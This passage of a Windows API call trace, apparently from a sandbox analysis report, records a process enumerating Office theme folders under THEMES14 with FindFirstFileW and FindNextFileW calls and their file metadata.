cAlternateFileName="")) returned 1 [0041.424] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0041.424] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0041.424] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0041.424] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02288 [0041.425] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.425] FindNextFileW (in: hFindFile=0x3f02288, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0042.171] FindClose (in: hFindFile=0x3f02288 | out: hFindFile=0x3f02288) returned 1 [0042.171] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.174] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0042.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.306] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.306] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0042.307] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.307] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.307] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0042.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.308] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.308] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0042.309] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.309] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.309] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0042.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.310] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.310] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0042.311] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.311] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0042.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.311] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.311] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0042.312] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.312] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.312] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0042.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.313] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.313] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1 [0042.314] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.314] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.314] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0042.314] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.315] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.315] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1 [0042.315] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.315] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.315] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0042.316] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.317] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.317] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1 [0042.317] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.317] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.317] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0042.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.318] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.318] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0042.319] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.319] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.319] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0042.319] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.320] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.320] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc37d800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x52008f10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc37d800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x12dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.ELM", cAlternateFileName="")) returned 1 [0042.320] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0042.320] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0042.320] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0042.320] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0042.320] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f094 | out: 